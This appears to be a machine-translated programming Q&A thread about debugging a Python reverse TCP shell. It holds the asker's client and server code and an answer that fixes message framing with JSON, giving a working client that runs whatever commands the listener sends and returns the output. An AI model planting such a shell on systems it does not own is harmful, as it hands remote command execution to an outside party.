所以,我一直在试验Python的套接字模块,并且我已经创建了一个简单的TCP客户端/服务器设置。所有东西都在同一系统(Win7x64)上运行,在ip 192.168.1.3
上这是客户端(它是反向TCP连接):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
这是服务器:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
这是我在服务器上收到的输出:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
然后它就挂在那里。无论我得到客户发送什么,它都不会收到它。这些命令在客户端成功,但输出不会被发回。
HALP?
编辑:我已经设法通过在循环中包含函数中的东西来获取服务器接收的命令的输出:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
所以,如果我发送一个dir命令,我会收到一次输出。但是在尝试发送另一个命令时,我明白了:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
编辑:
有人可以推荐替代方法吗?我想要做的是,服务器1.向客户端发送命令,2。执行它的客户端和3.发送输出和4.服务器接收的输出。并且为此继续进行,直到用户停止。
答案 0 :(得分:3)
TCP是一种流媒体协议。因此,您需要某种消息格式进行通信。其次,您需要一个循环,发送命令并读取结果。在客户端,您还需要某种消息协议来发送结果。我使用json编码的字符串和新行作为消息结束字符。
服务器:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
客户:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
答案 1 :(得分:-2)
Shashank是对的,一旦收到数据,它就会回到接受循环。
如果您想在接受新连接的同时继续接收此客户端,您应该考虑创建一个处理连接的线程,然后继续接受主要连接中的新连接。